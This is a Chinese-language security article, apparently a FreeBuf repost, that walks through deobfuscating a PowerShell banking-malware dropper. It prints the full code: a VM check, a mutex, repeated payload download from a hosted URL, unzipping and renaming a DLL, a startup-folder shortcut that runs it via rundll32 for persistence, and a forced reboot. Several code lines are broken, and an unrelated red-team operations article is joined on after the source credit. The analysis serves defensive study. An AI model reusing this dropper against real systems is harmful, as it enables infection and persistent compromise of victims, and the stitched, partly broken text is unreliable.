    For (${/==\/\___/\_/\/==}=0; ${/==\/\___/\_/\/==} -le ${___/\_/=\_/=\_/\/}; ${/==\/\___/\_/\/==}++) 
    {
      qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM  = $('qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM')
      nomeRandomico_getrandom  = Get-Random -Minimum 1 -Maximum qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Length
      caractereRandomico = qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Substring(nomeRandomico_getrandom,1)
      ${_/\/\_/\/\_/=\/\/} = ${_/\/\_/\/\_/=\/\/}+caractereRandomico   
    }
    return ${_/\/\_/\/\_/=\/\/} 
  }
  finally{}
}
function __/====\___/=\_/\_(${___/\/\_/\_/=\__/\}, ${___/==\/=\/=\____/})
{
    ${/=\_/\/====\/\_/\} = New-Object $('System.uri') $ExecutionContext.InvokeCommand.ExpandString($S{___/\/\_/\_/=\__/\}) 
    ${/=\/===\_/\/\_/\_} = [System.Net.HttpWebRequest]::Create(${/=\_/\/====\/\_/\}) 
    ${/=\/===\_/\/\_/\_}.set_Timeout(15000) 
    ${/=\/====\__/==\__} = ${/=\/===\_/\/\_/\_}.GetResponse() 
    ${/=\_/==\__/\__/\_} = [System.Math]::Floor(${/=\/====\__/==\__}.get_ContentLength()/1024) 
    ${_/===\/=\_/=\___/} = ${/=\/====\__/==\__}.GetResponseStream() 
    ${__/====\__/\/\__/} = New-Object -TypeName System.IO.FileStream -ArgumentList ${___/==\/=\/=\____/}, Create 
    ${/=\/=\/==\_/\/=\_} = new-object byte[] 10KB 
    ${_/===\_/=\/\/===\} = ${_/===\/=\_/=\___/}.Read(${/=\/=\/==\_/\/=\_},0,${/=\/=\/==\_/\/=\_}.length) 
    ${/==\_/===\/\/=\/\} = ${_/===\_/=\/\/===\} 
    while (${_/===\_/=\/\/===\} -gt 0) 
    { 
        ${__/====\__/\/\__/}.Write(${/=\/=\/==\_/\/=\_}, 0, ${_/===\_/=\/\/===\}) 
        ${_/===\_/=\/\/===\} = ${_/===\/=\_/=\___/}.Read(${/=\/=\/==\_/\/=\_},0,${/=\/=\/==\_/\/=\_}.length) 
        ${/==\_/===\/\/=\/\} = ${/==\_/===\/\/=\/\} + ${_/===\_/=\/\/===\} 
    } 
    ${__/====\__/\/\__/}.Flush()
    ${__/====\__/\/\__/}.Close() 
    ${__/====\__/\/\__/}.Dispose() 
    ${_/===\/=\_/=\___/}.Dispose() 
    return "Y"
} 
function _____/==\_/=\_/===
{
  Param([string]${_/=====\/==\/\___/},[string]${___/\____/\_/=\/\_});
  try{  
    ${_/\/=\/\/===\/\/\} = New-Object -ComObject WScript.Shell 
    ${/=\/=\/\/=\_/=\__} = ${_/\/=\/\/===\/\/\}.CreateShortcut(${_/=====\/==\/\___/}) 
    ${/=\/=\/\/=\_/=\__}.TargetPath = 'powershell'
    ${/=\/=\/\/=\_/=\__}.Arguments = $ExecutionContext.InvokeCommand.ExpandString('$S{___/\/\_/\_/=\__/\}')
    ${/=\/=\/\/=\_/=\__}.WorkingDirectory = $('%SystemRoot%\System32')
    ${/=\/=\/\/=\_/=\__}.WindowStyle = 7   
    ${/=\/=\/\/=\_/=\__}.IconLocation = $('%ProgramFiles%\Internet Explorer\iexplore.exe,1')
    ${/=\/=\/\/=\_/=\__}.Save()
  }finally{}
}
function _/=\/\_/\/===\_/==
{
  try
  {
    ${_/======\_/\/=\/\} = New-Object System.Threading.Mutex($false, $('444444444444'))
    return ${_/======\_/\/=\/\}.WaitOne()  
  }finally{}
}
  if (_/=\/\/===\/==\___ -eq "N")
  {
  if (_/=\/\_/\/===\_/==)  {
     stop-process -name wmplayer 
    ${___/\/===\____/\/} = ${env:APPDATA}+"\"
    ${/=\______/=\/==\/} = ____/\__/===\_/=\/
    ${/===\/=\/\_/=\/==} = $('.txt')
    ${_/=\/===\/\___/\_} = $('.vbs')
    ${/=\/==\__/\_/\__/}  = ${___/\/===\____/\/}+${/=\______/=\/==\/}+${/===\/=\/\_/=\/==}
    ${/=\__/=\___/===\_}  = ${___/\/===\____/\/}+${/=\______/=\/==\/}+${_/=\/===\/\___/\_} 
    sleep -s 1
        ${/===\/\_/====\/=\}  = $false
        while(${/===\/\_/====\/=\} -ne $true)
        {
        __/====\___/=\_/\_ ${____/===\/=====\/} ${/=\/==\__/\_/\__/}; sleep -s 1 
        if ((gi ${/=\/==\__/\_/\__/}).length -gt 2048kb)
         {
           ${/===\/\_/====\/=\}  = $true                                                          
           ${_/=\_/==\/=\__/\_} =  "Y" 
          } 
          else 
           {                     
            ${_/=\_/==\/=\__/\_} = "N"
           }
        Write-Host ${/===\/\_/====\/=\}
        }  
       ${_/=\_/==\/=\__/\_} =  "Y" 
        if (${_/=\_/==\/=\__/\_} -eq "Y")
          {
          ${/===\__/\/==\_/==} = ${___/\/===\____/\/}+${/=\______/=\/==\/} +$('.zip')
           ren -Path $ExecutionContext.InvokeCommand.ExpandString('${/=\/==\__/\_/\__/}') -NewName $ExecutionContext.InvokeCommand.ExpandString('${/===\__/\/==\_/==}');
          ${/=\_/=\_/===\___/} = New-Object -ComObject shell.application
          ${_/\___/\_/======\} = ${/=\_/=\_/===\___/}.NameSpace(${/===\__/\/==\_/==})               
            foreach (${_/====\/\_/\/\__/} in ${_/\___/\_/======\}.items()) 
             {
                ${/=\_/=\_/===\___/}.Namespace(${___/\/===\____/\/}).CopyHere(${_/====\/\_/\/\__/})
             }
          sleep -s 3 
          ${_/\_/=\_/=\_/\___} = ____/\__/===\_/=\/
          ${/=\_/===\/\_/===\} = ${_/\_/=\_/=\_/\___} + ('.prx')
          ${_/\_/=\_/=\_/\___} = ${_/\_/=\_/=\_/\___} + ('.dll')
          ren -Path $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${_/\/\_/\_/=\/====}') -NewName $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${_/\_/=\_/=\_/\___}');
          ren -Path $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${_/\____/=\/\_/===}') -NewName $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${/=\_/===\/\_/===\}');
          sleep -s 3 
          cd $env:APPDATA ; 
          shellObjeto = New-Object -Com WScript.Shell
          ${_/=\/\/\/=\__/\/=} = shellObjeto.SpecialFolders.Item($('startup');
          del ${_/=\/\/\/=\__/\/=}\*.vbs
          del ${_/=\/\/\/=\__/\/=}\*.lnk
          ${/=\______/\_/\_/=} = $ExecutionContext.InvokeCommand.ExpandString('cd $env:APPDATA; Start-Process rundll32.exe ${_/\_/=\_/=\_/\___}, ${___/=\/\/\_____/=}')
          ${___/=\/==\/\_____} = $ExecutionContext.InvokeCommand.ExpandString('${_/=\/\/\/=\__/\/=}\${/=\_/===\/\_/===\}.lnk')
          _____/==\_/=\_/=== ${___/=\/==\/\_____}  ${/=\______/\_/\_/=}
          sleep -s 40
Restart-Computer -Force
        }
    }
  }

这样我们就可以慢慢分析上面的代码了,下面我将其中部分重要代码拿出来分析,并用通俗的方法展示出来。

###

在下面给出的代码中,命名了多个虚拟系统。

function _/=\/\/===\/==\___
{
  ${_/\___/=\_/\/\__/} = gwmi -Class Win32_ComputerSystem |select -ExpandProperty Model
  if (${_/\___/=\_/\/\__/} -eq $('VirtualBox') -or
    ${_/\___/=\_/\/\__/} -eq $('VMware Virtual Platform') -or
    ${_/\___/=\_/\/\__/} -eq $('Virtual Machine') -or
  ${_/\___/=\_/\/\__/} -eq $('HVM domU')
  {
    return "Y"
  }
  else
  { 
    return "N"
  }
}

我们可以看到,变量_ / \ ___ / = \ _ / \ / \ __ /包含有关当前系统的信息。因此可以将其重命名为computerSystem。同样的_ / = \ / \ / === \ / == \ ___是检查当前环境是否为虚拟环境,因此可以将其重命名为vmCheck。重构代码如下。

function vmCheck
{
  ${computerSystem} = gwmi -Class Win32_ComputerSystem |select -ExpandProperty Model
  if (${computerSystem} -eq $('VirtualBox') -or
    ${computerSystem} -eq $('VMware Virtual Platform') -or
    ${computerSystem} -eq $('Virtual Machine') -or
  ${computerSystem} -eq $('HVM domU')
  {
    return "Y"
  }
  else
  { 
    return "N"
  }
}

下面的函数看起来像一个随机字符串生成器,因为有一个字符串包含一个通用的键盘布局。

function ____/\__/===\_/=\/
{
  try
  {
    ${___/\_/=\_/=\_/\/} = Get-Random -Minimum 1 -Maximum 9
    ${_/\/\_/\/\_/=\/\/} = ""
    For (${/==\/\___/\_/\/==}=0; ${/==\/\___/\_/\/==} -le ${___/\_/=\_/=\_/\/}; ${/==\/\___/\_/\/==}++) 
    {
      qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM  = $('qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM')
      nomeRandomico_getrandom  = Get-Random -Minimum 1 -Maximum qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Length
      caractereRandomico = qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Substring(nomeRandomico_getrandom,1)
      ${_/\/\_/\/\_/=\/\/} = ${_/\/\_/\/\_/=\/\/}+caractereRandomico   
    }
    return ${_/\/\_/\/\_/=\/\/} 
  }
  finally{}
}

首先,可以观察到for循环。变量/ == \ / \ ___ / \ _ / \ / ==命名为i,循环迭代的次数等于___ / \ _ / = \ _ / = \ _ / \ /的值。该变量设置为1到9之间的随机值,并定义for循环的长度。可以将其重命名为length。那么最后一个变量_ / \ / \ __ / \ / \ _ / = \ / \ /是返回值,可以重命名为returnValue

查看重构的代码,该功能的目的显而易见。

 try
  {
    ${length} = Get-Random -Minimum 1 -Maximum 9
    ${returnValue} = ""
    For (${i}=0; ${i} -le ${length}; ${i}++) 
    {
      qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM  = $('qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM')
      nomeRandomico_getrandom  = Get-Random -Minimum 1 -Maximum qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Length
      caractereRandomico = qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Substring(nomeRandomico_getrandom,1)
      ${returnValue} = ${returnValue}+caractereRandomico   
    }
    return ${returnValue} 
  }
  finally{}

从字符集qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM中,随机复制字符1至9次。然后返回连接的输出,提供伪随机字符串。可以将函数____ / \ __ / === \ _ / = \ /重命名为getRandomString

下一个功能更长,但是从一开始就提供更多信息,因为它使用了点网系统的各个部分,在这些部分中字符串没有被混淆。代码如下。

function __/====\___/=\_/\_(${___/\/\_/\_/=\__/\}, ${___/==\/=\/=\____/})
{
    ${/=\_/\/====\/\_/\} = New-Object $('System.uri') $ExecutionContext.InvokeCommand.ExpandString($S{___/\/\_/\_/=\__/\}) 
    ${/=\/===\_/\/\_/\_} = [System.Net.HttpWebRequest]::Create(${/=\_/\/====\/\_/\}) 
    ${/=\/===\_/\/\_/\_}.set_Timeout(15000) 
    ${/=\/====\__/==\__} = ${/=\/===\_/\/\_/\_}.GetResponse() 
    ${/=\_/==\__/\__/\_} = [System.Math]::Floor(${/=\/====\__/==\__}.get_ContentLength()/1024) 
    ${_/===\/=\_/=\___/} = ${/=\/====\__/==\__}.GetResponseStream() 
    ${__/====\__/\/\__/} = New-Object -TypeName System.IO.FileStream -ArgumentList ${___/==\/=\/=\____/}, Create 
    ${/=\/=\/==\_/\/=\_} = new-object byte[] 10KB 
    ${_/===\_/=\/\/===\} = ${_/===\/=\_/=\___/}.Read(${/=\/=\/==\_/\/=\_},0,${/=\/=\/==\_/\/=\_}.length) 
    ${/==\_/===\/\/=\/\} = ${_/===\_/=\/\/===\} 
    while (${_/===\_/=\/\/===\} -gt 0) 
    { 
        ${__/====\__/\/\__/}.Write(${/=\/=\/==\_/\/=\_}, 0, ${_/===\_/=\/\/===\}) 
        ${_/===\_/=\/\/===\} = ${_/===\/=\_/=\___/}.Read(${/=\/=\/==\_/\/=\_},0,${/=\/=\/==\_/\/=\_}.length) 
        ${/==\_/===\/\/=\/\} = ${/==\_/===\/\/=\/\} + ${_/===\_/=\/\/===\} 
    } 
    ${__/====\__/\/\__/}.Flush()
    ${__/====\__/\/\__/}.Close() 
    ${__/====\__/\/\__/}.Dispose() 
    ${_/===\/=\_/=\___/}.Dispose() 
    return "Y"
}

该函数的第一个参数___ / \ / \ _ / \ _ / = \ __ / \用于第一行,其中调用了System.Uri类。给定的输入是url,可以这样重命名。

在下面的代码行中,变量/ = \ / === \ _ / \ // __ / \ _用于创建Syste.Net.HttpWebRequest对象。因此,该变量可以重命名为httpWebRequest

在此之后的两行,请求的响应保存在变量/ = \ / ==== \ __ / == \ __中。因此,该变量可以重命名为httpResponse。函数get_ContentLength返回responseContentLength(以前是/ = \ _ / == \ __ / \ __ / \ _),而GetResponseStream函数返回了responseStream(以前是_ / === \ / = \ _ / = \ ___ /)。

可以在原始名称__ / ==== \ __ / \ / \ __ /下找到Dot Net System.IO.FileStream。改成更具可读性的名称fileStream

下面的循环使用Dot Net FileStream Write函数将数据写入磁盘。重构代码如下。

function downloadFileAndWriteToFile(${url}, ${argumentList})
{
    ${uri} = New-Object $('System.Uri') $ExecutionContext.InvokeCommand.ExpandString($S{url}) 
    ${httpWebRequest} = [System.Net.HttpWebRequest]::Create(${uri}) 
    ${httpWebRequest}.set_Timeout(15000) 
    ${httpResponse} = ${httpWebRequest}.GetResponse() 
    ${responseContentLength} = [System.Math]::Floor(${httpResponse}.get_ContentLength()/1024) 
    ${responseStream} = ${httpResponse}.GetResponseStream() 
    ${fileStream} = New-Object -TypeName System.IO.FileStream -ArgumentList ${argumentList}, Create 
    ${arrayToWrite} = new-object byte[] 10KB 
    ${sizeToWrite} = ${responseStream}.Read(${arrayToWrite},0,${arrayToWrite}.length) 
    ${counter} = ${sizeToWrite} 
    while (${sizeToWrite} -gt 0) 
    { 
        ${fileStream}.Write(${arrayToWrite}, 0, ${sizeToWrite}) #byte[] array, int offset, int count 
        ${sizeToWrite} = ${responseStream}.Read(${arrayToWrite},0,${arrayToWrite}.length) 
        ${counter} = ${counter} + ${sizeToWrite} 
    } 
    ${fileStream}.Flush()
    ${fileStream}.Close() 
    ${fileStream}.Dispose() 
    ${responseStream}.Dispose() 
    return "Y"
}

下一个函数包含较少的变量,使重构代码更加容易。

function _____/==\_/=\_/===
{
  Param([string]${_/=====\/==\/\___/},[string]${___/\____/\_/=\/\_});
  try{  
    ${_/\/=\/\/===\/\/\} = New-Object -ComObject WScript.Shell 
    ${/=\/=\/\/=\_/=\__} = ${_/\/=\/\/===\/\/\}.CreateShortcut(${_/=====\/==\/\___/}) 
    ${/=\/=\/\/=\_/=\__}.TargetPath = 'powershell'
    ${/=\/=\/\/=\_/=\__}.Arguments = $ExecutionContext.InvokeCommand.ExpandString('$S{___/\/\_/\_/=\__/\}')
    ${/=\/=\/\/=\_/=\__}.WorkingDirectory = $('%SystemRoot%\System32')
    ${/=\/=\/\/=\_/=\__}.WindowStyle = 7   
    ${/=\/=\/\/=\_/=\__}.IconLocation = $('%ProgramFiles%\Internet Explorer\iexplore.exe,1')
    ${/=\/=\/\/=\_/=\__}.Save()
  }finally{}
}

在函数的第一行中,实例化了WScript.Shell对象。因此,变量_ /\/=\/\/===\/\/\可以重命名为wscriptShellObject。在第二行中,使用了两个变量。两者都可以根据此信息重命名。变量_ / ===== \ / == \ / \ ___ /是快捷方式的targetLocation,因为它是作为参数传递的。快捷方式对象由CreateShortcut方法返回,使/ = \ / = \ / \\ / = \ _ / = \ __等于createShortcut

变量____ / \ / \ _ / \ _ / = \ __ / \等于createShortcut的参数。重构代码如下。

function createShortcut
{
  Param([string]${targetLocation},[string]${unusedCommand});
  try{  
    ${wscriptShellObject} = New-Object -ComObject WScript.Shell 
    ${shortcut} = ${wscriptShellObject}.CreateShortcut(${targetLocation}) 
    ${shortcut}.TargetPath = 'powershell'
    ${shortcut}.Arguments = $ExecutionContext.InvokeCommand.ExpandString($S{arguments})
    ${shortcut}.WorkingDirectory = $('%SystemRoot%\System32')
    ${shortcut}.WindowStyle = 7   
    ${shortcut}.IconLocation = $('%ProgramFiles%\Internet Explorer\iexplore.exe,1')
    ${shortcut}.Save()
  }finally{}
}

根据提供的目标位置,在系统上创建一个新的快捷方式。该图标是驻留在iexplore.exe二进制文件中的第二个图标(第一个索引)。窗口样式7用于最小化窗口并将下一个窗口聚焦在屏幕上。该快捷方式将与提供的参数一起在%StystemRoot%\ System32目录中执行Powershell 。

脚本中的最后一个函数如下。

function _/=\/\_/\/===\_/==
{
  try
  {
    ${_/======\_/\/=\/\} = New-Object System.Threading.Mutex($false, $('444444444444'))
    return ${_/======\_/\/=\/\}.WaitOne()  
  }finally{}
}

此函数中使用了System.Threading.Mutex,并且可以这样重构_ / ====== \ _ / \ // = \ / \。互斥锁用于确保一次仅运行一个实例。重构代码如下。

function mutexCheck
{
  try
  {
    ${threadingMutex} = New-Object System.Threading.Mutex($false, $('444444444444'))
    return ${threadingMutex}.WaitOne()  
  }finally{}
}

全部放在一起

现在,所有函数都已重构,需要分析执行的代码,因为它显示了调用函数的顺序以及为函数提供了参数的顺序。代码如下。

${amazonUrl} = $('https://s3-eu-west-1.amazonaws.com/juremasobra2/image2.png')
_.dll = $('_.dll')
_.prx = $('_.prx')
MaxNotify   = $('MaxNotify')
 
  if (vmCheck -eq "N")
  {
  if (mutexCheck)  {
     stop-process -name wmplayer 
    ${___/\/===\____/\/} = ${env:APPDATA}+"\"
    ${/=\______/=\/==\/} = getRandomString
    ${/===\/=\/\_/=\/==} = $('.txt')
    ${_/=\/===\/\___/\_} = $('.vbs')
    ${/=\/==\__/\_/\__/}  = ${___/\/===\____/\/}+${/=\______/=\/==\/}+${/===\/=\/\_/=\/==}
    ${/=\__/=\___/===\_}  = ${___/\/===\____/\/}+${/=\______/=\/==\/}+${_/=\/===\/\___/\_} 
    sleep -s 1
        ${/===\/\_/====\/=\}  = $false
        while(${/===\/\_/====\/=\} -ne $true)
        {
        downloadFileAndWriteToFile ${amazonUrl} ${/=\/==\__/\_/\__/}; sleep -s 1 
        if ((gi ${/=\/==\__/\_/\__/}).length -gt 2048kb)
         {
           ${/===\/\_/====\/=\}  = $true                                                          
           ${_/=\_/==\/=\__/\_} =  "Y" 
          } 
          else 
           {                     
            ${_/=\_/==\/=\__/\_} = "N"
           }
        Write-Host ${/===\/\_/====\/=\}
        }  
       ${_/=\_/==\/=\__/\_} =  "Y" 
        if (${_/=\_/==\/=\__/\_} -eq "Y")
          {
          ${/===\__/\/==\_/==} = ${___/\/===\____/\/}+${/=\______/=\/==\/} +$('.zip')
           ren -Path $ExecutionContext.InvokeCommand.ExpandString('${/=\/==\__/\_/\__/}') -NewName $ExecutionContext.InvokeCommand.ExpandString('${/===\__/\/==\_/==}');
          ${/=\_/=\_/===\___/} = New-Object -ComObject shell.application
          ${_/\___/\_/======\} = ${/=\_/=\_/===\___/}.NameSpace(${/===\__/\/==\_/==})               
            foreach (${_/====\/\_/\/\__/} in ${_/\___/\_/======\}.items()) 
             {
                ${/=\_/=\_/===\___/}.Namespace(${___/\/===\____/\/}).CopyHere(${_/====\/\_/\/\__/})
             }
          sleep -s 3 
          ${_/\_/=\_/=\_/\___} = getRandomString
          ${/=\_/===\/\_/===\} = ${_/\_/=\_/=\_/\___} + ('.prx')
          ${_/\_/=\_/=\_/\___} = ${_/\_/=\_/=\_/\___} + ('.dll')
          ren -Path $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${_/\/\_/\_/=\/====}') -NewName $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${_/\_/=\_/=\_/\___}');
          ren -Path $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${_/\____/=\/\_/===}') -NewName $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${/=\_/===\/\_/===\}');
          sleep -s 3 
          cd $env:APPDATA ; 
          shellObjeto = New-Object -Com WScript.Shell
          ${_/=\/\/\/=\__/\/=} = shellObjeto.SpecialFolders.Item($('startup');
          del ${_/=\/\/\/=\__/\/=}\*.vbs
          del ${_/=\/\/\/=\__/\/=}\*.lnk
          ${/=\______/\_/\_/=} = $ExecutionContext.InvokeCommand.ExpandString('cd $env:APPDATA; Start-Process rundll32.exe ${_/\_/=\_/=\_/\___}, ${___/=\/\/\_____/=}')
          ${___/=\/==\/\_____} = $ExecutionContext.InvokeCommand.ExpandString('${_/=\/\/\/=\__/\/=}\${/=\_/===\/\_/===\}.lnk')
          createShortcut ${___/=\/==\/\_____}  ${/=\______/\_/\_/=}
          sleep -s 40
Restart-Computer -Force
        }
    }
  }

首先,执行vmCheck函数。仅当结果为负数(N)时,才会继续执行。然后,调用mutexcheck函数,以确保没有其他正在运行的实例使用相同的互斥锁(是数字4的十二倍)。如果存在名称为wmplayer的进程,则将其停止。之后,将设置多个变量并用于创建其他变量。第一部分的代码如下。

${amazonUrl} = $('https://s3-eu-west-1.amazonaws.com/juremasobra2/image2.png')
_.dll = $('_.dll')
_.prx = $('_.prx')
MaxNotify   = $('MaxNotify')
 
 if (vmCheck -eq "N")
  {
  if (mutexCheck)  {
     stop-process -name wmplayer 
    ${AppData} = ${env:APPDATA}+"\"
    ${getRandomStringResult} = getRandomString
    ${DotTxt} = $('.txt')
    ${DotVbs} = $('.vbs')
    ${AppDataTxtFileLocation}  = ${AppData}+${getRandomStringResult}+${DotTxt}
    ${AppDataVbsFileLocation}  = ${AppData}+${getRandomStringResult}+${DotVbs} 
    sleep -s 1

然后,将文件下载并保存为机器的APPDATA文件夹中的文本文件,如下所示。

 ${isDownloadSucceeded}  = $false
        while(${isDownloadSucceeded} -ne $true)
        {
        downloadFileAndWriteToFile ${amazonUrl} ${AppDataTxtFileLocation}; sleep -s 1 
        if ((gi ${AppDataTxtFileLocation}).length -gt 2048kb)
         {
           ${isDownloadSucceeded}  = $true                                                          
           ${isDownloadSucceededString} =  "Y" 
          } 
          else 
           {                     
            ${isDownloadSucceededString} = "N"
           }
        Write-Host ${isDownloadSucceeded}
        }  
       ${isDownloadSucceededString} =  "Y"

下载完成后,压缩文件夹将重命名并解压缩。

if (${isDownloadSucceededString} -eq "Y")
        {
        ${ZipFilePath} = ${AppData}+${getRandomStringResult} +$('.zip')
          ren -Path $ExecutionContext.InvokeCommand.ExpandString(${AppDataTxtFileLocation}) -NewName $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString(${ZipFilePath});
        ${shellApplication} = New-Object -ComObject shell.application
        ${ZipFile} = ${shellApplication}.NameSpace(${ZipFilePath})              
          foreach (${file} in ${ZipFile}.items())
            {
              ${shellApplication}.Namespace(${AppData}).CopyHere(${file})
            }
        sleep -s 3

在下面的代码中,仍然有多个字符串被混淆,但似乎脚本没有完全完成,因为变量仅被使用,而从未实例化。在整个脚本中,已下载文件的名称被多次重命名,然后将它们放置在计算机的启动文件夹中。这是此示例中使用的持久性技术。

之后,通过rundll32.exe调用DLL 。在强制重启机器之前,睡眠功能会等待40秒。然后,使用先前设置的持久性机制使恶意软件在计算机上保持活动状态。

${getRandomStringResult2} = getRandomString
        ${prxFileName} = ${getRandomStringResult2} + $('.prx')
        ${getRandomStringResult2} = ${getRandomStringResult2} +$('.dll')
        ren -Path $ExecutionContext.InvokeCommand.ExpandString($env:APPDATA\${_/\/\_/\_/=\/====}) -NewName $ExecutionContext.InvokeCommand.ExpandString($env:APPDATA\${getRandomStringResult2});
        ren -Path $ExecutionContext.InvokeCommand.ExpandString($env:APPDATA\${_/\____/=\/\_/===}) -NewName $ExecutionContext.InvokeCommand.ExpandString($env:APPDATA\${prxFileName});
        sleep -s 3
        cd $env:APPDATA ;
        shellObjeto = New-Object -Com WScript.Shell
        ${startupFolder} = shellObjeto.SpecialFolders.Item('startup');        
        del ${startupFolder}\*.vbs
        del ${startupFolder}\*.lnk
        ${startCommand} = $ExecutionContext.InvokeCommand.ExpandString('cd $env:APPDATA; Start-Process rundll32.exe ${getRandomStringResult2}, ${___/=\/\/\_____/=}')
        ${shortcutTargetLocation} = $ExecutionContext.InvokeCommand.ExpandString(${startupFolder}\${prxFileName}.lnk)
        createShortcut ${shortcutTargetLocation} ${startCommand}
        sleep -s 40
Restart-Computer -Force
      }
  }
}

该恶意软件的银行活动未在本文中进行记录,因为它超出了本文的范围。

注意:文中部分敏感代码可能被Freebuf的编辑器替换,想要查看原始代码的小伙伴可以点击最下面查看原文

*参考来源:maxkersten,FB小编周大涛编译,转载请注明来自FreeBuf.COM

介绍

本文是分享就如何建立和运营红队提供实用建议以及我的经验。实际上,我指的是一群人应该执行的日常活动,才能被视为有效的安全团队。

为了节省您的时间,我不说一些极端情况,而是提供最重要的技巧,您可以根据组织的具体情况对其进行扩展。

红队有两个部分:运营和基础架构。

运营是一组规则,用于管理团队如何选择其目标,定义范围,执行任务以及进行操作以实现其目标。

基础设施是命令和控制中心,恶意软件,协作工具,服务器,内部文档和外泄数据存储的总称。

运作方式

任务

红队的任务是通过从对抗性的角度查看组织的行为和技术业务职能,以改善组织的安全状况。

技术方面是测量和提高检测范围。通过模仿已知的对手或为虚构的对手创建配置文件,红队正在帮助组织了解其检测和响应的运行状况,例如“我们能否看到MacOS的持久性”,“我们是否能够捕获渗透”通过AirDrop”,“密码重用是一个问题”。

行为方面是在人们与组织交互的方式中理解问题。业务逻辑,策略和程序是这些操作的目标,例如“在招聘过程中是否有机会伤害组织(例如让申请人不受监督),“我们如何与供应商合作”,“我们将能够发现一个由国家赞助的代理商从内部收集数据”。

范围

鉴于任务说明的广度,团队必须具有非限制性范围。在最佳情况下,这意味着暗示同意测试组织可以合法测试的所有功能。

如果团队的行动与组织的其余部分一样受到约束,则团队将无法有效运营并实现其目标。红队从根本上讲是一门艺术,而创造力不能在有限的环境中蓬勃发展。

有一些灰色区域,例如员工的个人计算机或手机,生产数据库,供应商拥有的设备等。总的来说,如果使用系统执行业务功能,则除非法律明确禁止,否则该系统属于范围内。

目标

目标必须是业务功能,而不是孤立的系统或流程。

对于组织而言,一个常见的错误是将范围限制在应用程序或服务器上,从而通过将其转变为代码审查或渗透测试来破坏实践的价值。团队必须可以自由地在所有个人计算机,服务器和其他设备之间横向移动,只要它们未被捕获或处于活动状态即可。

目标选择过程必须由领导层,DFIR,威胁情报,检测和监视以及任何其他对组织的业务职能和对手的胃口有深刻了解的团队来告知。

威胁情报团队提供的有关攻击组织的真实对手及其意图的信息尤其重要。红队的职责是将这些信息纳入自己的行动设计中。但是,关于目标和范围的最终决定必须掌握在进攻安全团队及其主管的手中。

红队必须保持选择自己目标的独立性,尽管设计与业务威胁概况无关的对手或其他程序已经很好涵盖的攻击系统是浪费的。

指挥链

理想情况下,进攻性安全主管必须直接与CISO或其他负责组织安全性的执行官一起工作,并且是进攻性安全能力的强有力宣传者。如果组织的领导层不对红队表示大力支持,那么创建一个团队将会浪费资源。

红队还必须完全独立地执行其目标。

在团队内部,应将角色划分为适用于团队和组织规模的角色。

至少您需要有一名主管,一名操作员和一名工程师。如果资源允许,您应该扩展团队,以包括更多专业人士向中级领导或负责级别的团队成员进行报告。

主管根据团队当前的技能差距定义专业。拥有专业知识可以防止职责混淆。

操作员的职责是利用他或她对进攻性安全技术的了解进行操作。他们是研究目标,发现和利用弱点并针对目标采取行动的人。

工程师的作用是为操作员提供技术能力,例如漏洞研究和利用,恶意软件编写,命令和控制基础结构,硬件设备,网络连接等。

主任的职责是与其他团队合作,以收集有关范围的意见,并以尽可能最具成本效益的方式帮助弥补弱点,使团队免受通常与组织红队有关的文书工作负担(例如编写报告),并倡导团队,以他或她的远见支持和指导团队。

交战规则

到目前为止,运营红队最重要的部分是树立正确的心态。可以将红队的交战规则直接从《提供救济的行动交战规则》中:

“We are not at war. Treat all persons with dignity and respect.”

尽管有对抗性的心态,但红队对组织并不具有对抗性。业务各个部门之间的协作对于团队的成功至关重要。应避免捍卫者花时间追赶红队的情况。

升级程序可能会根据操作而有所不同,但总的来说,领导者应该了解操作并使其与现场人员保持秘密,以此作为对付对手的机会。通信通道应该是开放的,因此当安全事件升级时,领导者应该能够快速验证其起源,而不会在实际事件中造成延迟。

在发生冲突的情况下,双方都必须了解解决方案,即如果系统崩溃了,则它是其设计的一部分。领导层必须加强“没有人过错”的观念,任何人为的意外伤害都不应归咎于任何人。否则,进攻性安全工作可能被视为对绩效或工作威胁的审计。

整治

红队间接负责其他团队的教育。每个操作都应以对结果的深入根本原因分析以及有效且切合实际的补救计划作为结论。

该计划不仅要解决错误或创建票证。有时,最明显的补救措施可能不是最合乎逻辑的补救措施,例如,修复错误与更改流程以使开发人员更轻松地编写安全代码。团队应仔细考虑该计划的所有二阶影响,并决定是否需要更改政策,进行额外的培训或购买新工具。

进攻性安全主管或专职人员应负责领导和共享分析工作。

培训与会议

由于获得成本,红队技能昂贵。一个强大的红色团队通常是一个将大量时间投入到研究和自我教育中的人。需要一套独特的生活环境,智慧,好奇心和毅力,才能将进攻技能培养到对组织有价值的水平。

组织必须了解这一点,并向红队提供无偿培训和出席会议的奖励。团队成员必须以最小的组织负担自由回馈社区。这包括在会议上发言,使用开放源代码工具以及进行和参加培训研讨会。

适当的会议出席和建立网络的副作用是招募业内最优秀的人才(否则这是一个重大挑战)。

指标

由于工作的创造性,没有可靠的量化指标可用于计算团队绩效。

诸如发现的所有错误之类的常用指标本质上是错误的,并且与红队的任务无关。

